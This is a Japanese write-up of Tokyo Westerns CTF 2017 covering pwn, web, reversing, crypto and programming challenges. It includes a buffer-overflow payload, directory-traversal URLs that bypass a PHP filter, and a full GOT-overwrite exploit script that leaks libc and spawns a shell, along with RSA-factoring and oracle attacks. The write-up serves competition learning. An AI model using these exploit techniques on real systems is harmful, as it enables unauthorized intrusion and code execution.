Tokyo Westerns CTF 3rd 2017 write-up

[Tokyo Westerns CTF 3rd 2017](https://tokyowesterns.github.io/ctf2017/)

チーム@kusano_kは648点で56位。Google CTFと同様に解いたチームが多いほど、問題の点数が下がっていく方式。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/e53d5cbd-4082-71a8-8769-2b6b5d8576d5.png">
<img src="https://qiita-image-store.s3.amazonaws.com/0/25276/e53d5cbd-4082-71a8-8769-2b6b5d8576d5.png" width="640">
</a>

# Welcome!!

`TWCTF{Welcome_To_TWCTF2017!!}`

# Just do it!

パスワードを読み込んで、`P@SSWORD`ならば`Correct Password, Welcome!`と、それ以外ならば`Invalid Password, Try Again!`と表示するプログラム。正解時のメッセージのアドレスは事前にスタック上の変数に書き込まれている。パスワードの読み込み部分にバッファオーバーフローの脆弱性があるので、このポインタをフラグのアドレスに書き換えれば良い。ちなみに、`read`で読み込んでいるので、ncでは末尾に改行が付いてしまい、`Correct Password, Welcome!`のメッセージは見られない。

```shell-session
$ python -c 'print "P@SSWORD\x00aaaaaaaaaaa\x80\xa0\x04\x08"' | nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}
```

`TWCTF{pwnable_warmup_I_did_it!}`

# Rev Rev Rev

解析。入力を逆転し、バイト単位でビットを逆転し、NOTを掛けて、比較している。逆算すれば良い。

```py
flag = [
    0x41, 0x29, 0xd9, 0x65, 0xa1, 0xf1, 0xe1, 0xc9,  0x19, 0x09, 0x93, 0x13, 0xa1, 0x09, 0xb9, 0x49,
    0xb9, 0x89, 0xdd, 0x61, 0x31, 0x69, 0xa1, 0xf1,  0x71, 0x21, 0x9d, 0xd5, 0x3d, 0x15, 0xd5
]
flag = [f^0xff for f in flag]
for i in range(len(flag)):
    f = 0
    for j in range(8):
        f = f<<1 | flag[i]>>j&1
    flag[i] = f
flag = flag[::-1]
print "".join(map(chr, flag))
```

`TWCTF{qpzisyDnbmboz76oglxpzYdk}`

# Freshen Uploader

アップローダー。ファイルをアップロードすることはできず、すでにアップロードされたファイルの閲覧のみ。3番目のファイルが見えない。ディレクトリトラバーサルが可能なので、

http://fup.chal.ctf.westerns.tokyo/download.php?f=../download.php

でソースコードが読める。1個目のフラグが書かれている。

```php
<?php
// TWCTF{then_can_y0u_read_file_list?}
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("uploads/$filename");
```

同様にしてindex.phpを見ると、file_list.phpからファイルの一覧を読み込んでいる。ただし、download.phpでfile_listを含むファイル名が弾かれている。判定が`!=`なのが脆弱性。`stripos`は文字列が存在する場合はその位置を、存在しない場合は`false`を返す。`!=`の比較では、`0`と`false`が同値とみなされてしまう。`f`の先頭に`file_list`を書けば良い。

http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list.php

file_list.phpを見ると、3番目のファイルの名前が分かる。

http://fup.chal.ctf.westerns.tokyo/download.php?f=flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213

`TWCTF{php_is_very_secure}`

# Palindromes Pairs - Coding Phase -

競技プログラミング。文字列の配列`s`が与えられる。文字列の添え字の組`(i, j)`のうち、`s[i]+S[j]`が回文となるものの個数を返せという問題。

ガチなのが来たな……。回文ってどうするんだったっけな……と一瞬思ったけど、問題文を良く見たら`n <= 50`だったのでやるだけ。

```py
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ppc1.chal.ctf.westerns.tokyo", 8765))

def readline():
    l = ""
    while True:
        l += s.recv(1)
        if l[-1]=="\n":
            return l[:-1]

for _ in range(44):
    print readline()

for _ in range(50):
    print readline()
    n = int(readline())
    w = readline().split()
    print n, w

    ans = 0
    for i in range(n):
        for j in range(n):
            if w[i]+w[j]==(w[i]+w[j])[::-1]:
                ans += 1
    print "ans", ans

    s.send("%s\n"%ans)
    print readline()
    print readline()

print readline()
```

```
（略）
Input 49/50
20 ['gak', 'xs', 'gv', 'nav', 'k', 'szb', 'y', 'bxi', 'jal', 'lgt', 'fbn', 'qvi', 't', 'si', 'bza', 'lte', 'a', 'vjy', 'j', 'ay']
ans 7
Correct!

Input 50/50
46 ['a', 'a', 'w', 'k', 'h', 'dd', 'rjc', 'h', 'r', 'hrd', 'p', 'dcj', 'z', 'nj', 'aw', 'cn', 'z', 'h', 'b', 'u', 'j', 'jra', 'n', 'rz', 'pn', 'zan', 'bb', 'wh', 'd', 'pb', 'zw', 'b', 'zk', 'c', 'a', 'ur', 'k', 'p', 'ddw', 'jww', 'h', 'up', 'dd', 'c', 'rkb', 'pr']
ans 107
Correct!

Congratulations! The Flag is 'TWCTF{find_favorite_smell}'.
```

`TWCTF{find_favorite_smell}`

# My Simple Cipher

```py
message = flag + "|" + key

encrypted = chr(random.randint(0, 128))

for i in range(0, len(message)):
  encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)
```

という暗号化。

`encrypted[i+1]`に`encrypted[i]`が加えられている部分は、単純に引き算するだけ。

`message[i] + key[i%len(key]`については、`message`が`flag`を含んでいることが脆弱性。まず、`|`に対応する位置の`key`は分かる。`key`の1箇所が分かれば、対応する位置の暗号文は解読できる。暗号文が解読できれば対応する位置の`key`が……。真面目に位置を計算するのが面倒だったので、ループを回して埋められるところから埋めていくようにした。

```py
C = open("encrypted.txt").read()[:-1]
C = [int(C[i:i+2], 16) for i in range(0, len(C), 2)]
C = [(C[i+1] - C[i])%128 for i in range(len(C)-1)]
P = [-1]*len(C)
P[-14] = ord("|")
for _ in range(len(C)):
    for i in range(len(C)):
        if P[i%13-13]!=-1 and P[i]==-1:
            P[i] = (C[i] - P[i%13-13])%128
        if P[i%13-13]==-1 and P[i]!=-1:
            P[i%13-13] = (C[i] - P[i])%128
print "".join(map(chr, P))
```

`TWCTF{Crypto-is-fun!}`

ここまでの問題はジャンルに`Warmup`が付いている:sweat_smile:

# swap

Pwn。アドレスを2個受け取って、そのアドレスのメモリ8バイトを交換するプログラム。

```
==============================================
1. Set addrsses
2. Swap both addrress of value
0. Exit
Your choice:
```

任意のアドレスが読めて、任意のアドレスに書き込めるのだから簡単かと思いきや、なかなか難しい。交換するので、指定するアドレスはどちらも読み書き可能でなければならない。指定するアドレスは`read`で読み込んで`atoll`していて、アドレスの数値の後に任意のデータを埋め込めるが、当然ASLRは有効なのでスタックのアドレスが分からない。アドレスが分かっていて、読み書き可能な領域がほとんど無いぞ……。

.gopがそういう領域だった。メモリの交換は`memcpy`で行われている。まずは.gopの`memcpy`と`read`を交換する。この時の順番がミソ。`tmp=1st, 1st=2nd, 2nd=tmp`として交換している。1stを`memcpy`、2ndを`read`とすると、`1st=2nd`で`memcpy`が`read`になり、`2nd=tmp`が無視されるので、`read`は引き続きそのまま動く。`memcpy`の`dst`と`src`が`read`の`fd`と`buf`に対応する。`fd`が変な値ならば`read`はそのままスルーするらしい。

これで、1stに`0`を、2ndにアドレスを指定することで、指定したアドレスに8バイトのデータを書き込めるようになった。シェルを取るためにはlibcのアドレスをリークさせる必要がある。`Your choice`で入力された文字列を数値に変換する`atoi`を利用することにした。`atoi`を`puts`に変えることで、`atoi`に渡されるバッファの後ろのメモリを`\0`まで出力させることができる。

この辺のアドレスを過去に使用するのがlibc内の`puts`でOSによって挙動が異なる。手元のCentOSとサーバーで挙動が違って困った。試しにUbuntuを使ってみたら、サーバーと同じように動作した。

`atoi`を`puts`にした上で、`a`と書き込むと`616637527d7f`という文字列が返ってきた。libc内のアドレスっぽいので、デバッガ上でswapを動かしてどこのアドレスか確認したところ、`_IO_2_1_stdout_`だった。これで`system`のアドレスが計算できる。

あとは`atoi`を`system`にして、`/bin/sh`を書き込めば、シェルが取れる。

`puts`は仕様では「正の値を返す」としか決まっていないが、末尾の改行を含んだ出力した文字数を返すらしい。この挙動を利用すれば、入力する文字列の長さを変えることで、`Your choice`は引き続き使える。

```py
import socket
import struct
import telnetlib
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwn1.chal.ctf.westerns.tokyo", 19937))
#s.connect(("localhost", 1234))
#s.connect(("localhost", 5678))

def readline():
    l = ""
    while True:
        l += s.recv(1)
        if l[-1]=="\n":
            return l[:-1]

def readmenu():
    for _ in range(5):
        print readline()

# memcpy = read
readmenu()
s.send("1\n")
print readline()
s.send("%d\n"%0x601040)
print readline()
s.send("%d\n"%0x601028)
readmenu()
s.send("2\n")

# atoi = puts
readmenu()
s.send("1\n")
print readline()
s.send("0\n")
print readline()
s.send("%d\n"%0x601050)
readmenu()
s.send("2\n")
time.sleep(1)
s.send(struct.pack("<Q", 0x4006b0))

# read libc
print "read libc"
readmenu()
s.send("a")
d = readline()
print d
print d.encode("hex")
stdout = struct.unpack("<Q", d[:8]+"\0"*(8-len(d[:8])))[0]
stdout = stdout - 0x61
print "stdout", hex(stdout)

# atoi = system
print "atoi = system"
system = stdout - 0x3c5600 + 0x45390
readmenu()
s.send("\0")
print readline()
print readline()
s.send("0\n")
print readline()
s.send("%d\n"%0x601050)
readmenu()
s.send("a\0")
print readline()
time.sleep(1)
s.send(struct.pack("<Q", system))

# system
print "system"
readmenu()
s.send("/bin/sh")

print "----"
t = telnetlib.Telnet()
t.sock = s
t.interact()
```

```
（略）
----
ls -al
total 28
drwxr-x---  2 root p19937 4096 Sep  2 00:31 .
drwxr-xr-x 11 root root   4096 Sep  1 19:08 ..
-rw-r-----  1 root p19937   32 Sep  1 19:07 flag
-rwxr-x---  1 root p19937   59 Sep  2 00:31 launch.sh
-rwxr-x---  1 root p19937 9288 Sep  1 19:07 swap
cat flag
TWCTF{SWAP_SAWP_WASP_PWAS_SWPA}
```

`TWCTF{SWAP_SAWP_WASP_PWAS_SWPA}`

# BabyRSA

問題文は、「しばしばBaby*という問題はBaby向けではないのである」。知ってた。

```rb
p = rand(2**1024)
q = 19 * p + rand(2**512)

p = next_prime(p)
q = next_prime(q)

e = 65537
d = mod_inverse(e, (p - 1) * (q - 1))

n = (p.to_i * q.to_i)
```

で、RSA暗号。暗号化するフラグをパディングしていたりと他はしっかりしているので、`n`を素因数分解するしかない。

`q`に加えられている乱数のビット幅が小さいので、二分探索によって`n`の平方根を求めることで、`p`と`q`の値がだいたい分かる。上位512ビットくらい。さらに、`19`が乗算されているので、`q`のビット数は1028ビットくらいになる。素因数の上位ビットが半分くらい分かっているとき、`n`を多項式時間で素因数分解できるらしい。Partial Key Exposure Attackというとか。

理論は全く分かっていないが、[ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2016/01/20/022936)のプログラムをそのまま使ったら`q`が出てきた。

```py
n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423

l = 0
r = n
while r-l>1:
    m = (r-l)/2+l
    if m*(19*m+2**512)>n:
        r = m
    else:
        l = m
p = l
print p
```

```py
n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423
p = 142705255772364982838516531715718191640815441800236739365553038697417755590297275781522823491205105009501621401991866858062431379476890096993289842661379656933128403922885517867940659143039044081293033569177112845189717094693466856637267709094447188480502894515883204817009882440286776737486699014352315017128
q = 19*p
PR.<x> = PolynomialRing(Zmod(n))
f = x + q
kbits = 512
x0 = f.small_roots(X=2^kbits, beta=0.3)[0]
x0+q
```

```
2711399859674934673931814102598645641175493394204498047945507735250937356215648239848933646332896995180530806637845470303186196210060911842872507010566213492961135662215921968753949975482648800278196297048045096783128013026497367853790321266446269754792894427483593297724124126249179455165834403387544079388999
```

```py
n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423
q = 2711399859674934673931814102598645641175493394204498047945507735250937356215648239848933646332896995180530806637845470303186196210060911842872507010566213492961135662215921968753949975482648800278196297048045096783128013026497367853790321266446269754792894427483593297724124126249179455165834403387544079388999
p = n/q

assert p*q == n

def exgcd(m, n):
    if n==0:
        assert m==1
        return 1, 0
    else:
        x, y = exgcd(n, m%n)
        return y, x-m/n*y

e = 65537
d, _ = exgcd(e, (p-1)*(q-1))
d %= (p-1)*(q-1)

C = 238128932536965734026453335534508678486770867304645614119195536048961186128744314667991999168452564298994773996973787655358503271491181214369796509942047091225518293577154563021214085132019889288510474458242494876257330038265066123460887568813277411779817556316602871932730284368524299559699693787556478631297630514938453794107136748994144175123917418701679413905695916367530746728699301383100433069740863537869450361306987480687067608102552418211244703552910903168179094472596152349098076535870469807035136435631458879919434041758274344589567529971195683495146426258135341109919085270442486183365562919531353370683625

print hex(pow(C, d, n))[2:-1].decode("hex")
```

`TWCTF{secretly_cherry-blossom-viewing}`

# Let's go!

解けなかった。

Go言語の解析。

```
go tool objdump lets_go
```

で、ソースコードのファイル名や行数が付いて逆アセンブルコードが出てくる。分量が多いから諦めてしまったけど、他の問題で時間を使って結局解けないならば、時間を掛ければ解ける解析に取りかかるべきだったかもしれない。

# simple note

解けなかった。

ノートを追加したり、削除したり、編集したり、閲覧したりするプログラム。ノートは`malloc`で確保される。作成時には指定したサイズが使用される。このサイズは保存されていなくて、編集時には`strlen`によってノートのサイズを求めている。直後のメモリが非0ならば、そのメモリの閲覧や編集ができる。`malloc`で確保したメモリは順番に並んでいて、あるメモリの直後は、直後に確保したメモリの`malloc`用の管理領域。先頭は`prev_size`らしい。普段は0だけど、解放時は何か書き込まれて再確保に利用されるらしい。この辺で何とかするのだろうか。

# Backpacker's Problem

解けたチームは20チームで、今回私が解いた問題のうちでは最も少ない。嬉しい。

整数の配列`a`が与えられて、その中から合計が`0`となる1個以上の整数を返す。`a[i]`の絶対値は100ビット、`|a|`は最大200。

乱数は、

```cpp
static std::mt19937 mt = std::mt19937(std::random_device()());
```

で作っている。問題の生成時には必ず答えが存在するように作成される。`std::random_device()()`の返す値は32bitなので、初期値を推測する問題かなと最初は考えた。`mt`の返す最初の値から、初期値を引くテーブルを作ろうとしたけど、一晩動かしても終わらないし、中身を見てみたら最初の1個の値が意外と衝突していたので断念。先に確率を計算するべきだった。

```cpp
    // Check sum
    check(!std::accumulate(b.begin(), b.end(), 0));
```

ここが脆弱性。最後の引数が`0`なので、`accumulate`は`int`型の合計値を計算する。競技プログラミングのプログラムを書いているときに警告を見た覚えがある。

合計の下位32bitが`0`になるような値を返せば、チェックをパスする。確率的に、最初の32個程度の整数の組み合わせの中にそのような組み合わせが存在する。整数の個数が`n`個のナップサック問題は半分全列挙で`O(2^(n/2)log(n))` で解ける。`n=32`くらいならば1秒もかからない。最初の`n/2`個の組み合わせを全て列挙して、合計値を`std::map`などで覚えておく。残りの整数の組み合わせを列挙して、`-sum(a)`が`map`の中に存在するかを見れば良い。`O(log n)`で答えが返ってくる。

```solve.cpp
#include <iostream>
#include <map>
#include <vector>

using namespace std;

int main()
{
    int n;
    cin>>n;
    vector<unsigned int> A(n);
    for (unsigned int &a: A)
        cin>>a;

    vector<int> ans;
    if (n <= 20)
    {
        for (int b=1; b<1<<n; b++)
        {
            unsigned int S = 0;
            for (int i=0; i<n; i++)
                if (b>>i&1)
                    S += A[i];
            if (S == 0)
            {
                for (int i=0; i<n; i++)
                    if (b>>i&1)
                        ans.push_back(i);
                break;
            }
        }
    }
    else
    {
        map<unsigned int, int> M;

        for (int b=0; b<1<<20; b++)
        {
            unsigned int S = 0;
            for (int i=0; i<20; i++)
                if (b>>i&1)
                    S += A[i];
            M[~S+1] = b;
        }

        for (int b=0; ; b++)
        {
            unsigned int S = 0;
            for (int i=20; i<n; i++)
                if (b>>(i-20)&1)
                    S += A[i];
            if (M.count(S) > 0 && (b!=0 || M[S]!=0))
            {
                for (int i=0; i<20; i++)
                    if (M[S]>>i&1)
                        ans.push_back(i);
                for (int i=20; i<n; i++)
                    if (b>>(i-20)&1)
                        ans.push_back(i);
                break;
            }
        }
    }

    cout<<ans.size();
    for (int a: ans)
        cout<<" "<<a;
    cout<<endl;
}
```

```py
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("backpacker.chal.ctf.westerns.tokyo", 39581))

def readline():
    l = ""
    while True:
        l += s.recv(1)
        if l[-1]=="\n":
            return l[:-1]

for _ in range(12):
    print readline()

for _ in range(20):
    print readline()
    print readline()
    l = readline()
    print readline()
    print l
    l = map(int, l.split())
    l2 = " ".join(str(x&0xffffffff) for x in l)
    print l2
    proc = subprocess.Popen(["solve.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    r = proc.communicate(l2)[0]
    print r
    r = map(int, r.split())
    r = " ".join(map(str, [r[0]] + [l[x+1] for x in r[1:]]))
    s.send(r+"\n")

print readline()
```

乱数の初期値を推測すると思って、ソルバーをC++で書いていたけれど、この程度ならばPythonでも間に合ったかもしれない。

`TWCTF{CPP_have_some_traps}`

# pplc

問題名は、Professional Programming and Language and Codingだろうか？　Pythonの知識が問われる。Pythonは妙なグローバル変数などが少ないので、`dir(x)`で変数やモジュールを調べれば何とかなる。全3問。

### private

```private.py
class Private:
    def __init__(self):
        pass

    def __flag(self):
        return "TWCTF{CENSORED}"

p = Private()
Private = None

d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]
```

プライベートメソッドを呼び出せという問題。Pythonにプライベートメソッドなどというものは存在せず、名前が`_ClassName__method`に変わるだけ。

`p._Private__flag()`……かと思ったけど、`Private`が含まれる文字列は弾かれている。それならば、`eval("p._P"+"rivate__flag()")`……と思ったけど、長すぎてダメ。`dir(p)`からメソッド名を取れば良い。`eval("p."+dir(p)[0]+"()")`……でもまだ長い。`eval("p.%s()"%dir(p)[0])`。

`TWCTF{__private is not private}`

### local

```local.py
def get_flag(x):
    flag = "TWCTF{CENSORED}"
    return x
```

ローカル変数の読み出し。`x.__hoge__`みたいなのに何か設定すれば良いのかと思ったけど、便利なものは無かった。`dir(get_flag)`をすると、`func_code`というものがあったので、これで。`get_flag.func_code.co_consts`に対して、`(None, 'TWCTF{func_code is useful for metaprogramming}')`が返ってくる。

`TWCTF{func_code is useful for metaprogramming}`

### comment

```comment.py
import comment_flag
```

```comment_flag.py
'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''
```

`dir(comment_flag)`としてみたら、`comment_flag.__doc__`という属性があった。なるほど、最初のコメントはモジュールのドキュメントになるのか。

`FLAG is TWCTF{very simple docstring}`

# BabyDLP

問題文は、「通常のところBaby*という問題は簡単なものである」。そうだろうか……:thinking_face:

巨大な素数`p`、`g=2`、フラグ`m`に対して、`pow(g, m^s, p)`を返してくるサーバー。

`a = pow(g, m^0, p)`、`b = pow(g, m^1, p)`とする。`a=2*b`ならば`m^1`によって値が1増えたということで、`m`の最下位ビットは`0`である。`b=2*a`ならば、`m`の最下位ビットは1。同様にして、`m`の値を1ビットずつ推測できる。

```py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ppc2.chal.ctf.westerns.tokyo", 28459))

p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201
g = 2

s.send("0\n")
a = int(s.recv(1000)[2:], 16)

flag = 0

for i in range(1024):
    s.send("%x\n" % 2**i)
    b = int(s.recv(1000)[2:], 16)
    if b*pow(g, 2**i, p)%p == a:
        flag |= 1<<i
    if len("%x"%flag)%2==0:
        print ("%x"%flag).decode("hex")
```

`TWCTF{0f97c1c3ac2aedbd7fb8cd39d50f2b561d31f770}`

# Palindromes Pairs - Challenge Phase -

解けなかった。

WarmupのPalindromes Pairsの解答が載っているから、チャレンジしてみろという問題。面白い。コピペできないように画像にするところまでTopCoderを再現する必要があるのか？と思ったけど、このコードのコピペでWarmupのほうを解くのを防ぐためか。

制限がWarmupのものよりも大きく、`N<=1000`、文字列長も1000まで。ローリングハッシュを使っていた。なるほど。ハッシュ値の衝突を回避するため、ローリングハッシュに使う値の組は8個用意している。ただし、`rand()`で生成しているので、この値は推測できる。

`long`を使っているので乗算で桁あふれしそうだと思ったけど、GCCでは`long`は8バイトだった。Visual Studioだと4バイト。

ハッシュを衝突させるのが正攻法。1個目のハッシュが0になるような文字列をたくさん作れば、それをどのように組み合わせても1個目のハッシュは0になる。なので、その組み合わせを探索して2個目のハッシュが0となる文字列を作り……と考えたけれど、文字列が長くなりすぎる。

連立方程式と考えて、[LLLというものを使うらしい](https://gist.github.com/hellman/49510790103d96a8d5259e578ffc2579)。

途中で「誤った答えでもフラグが出力されるようになっていました」ということで、元のフラグの点数が減らされ、新しいフラグが追加された。「誤った答え」がどんなものなのか気になる。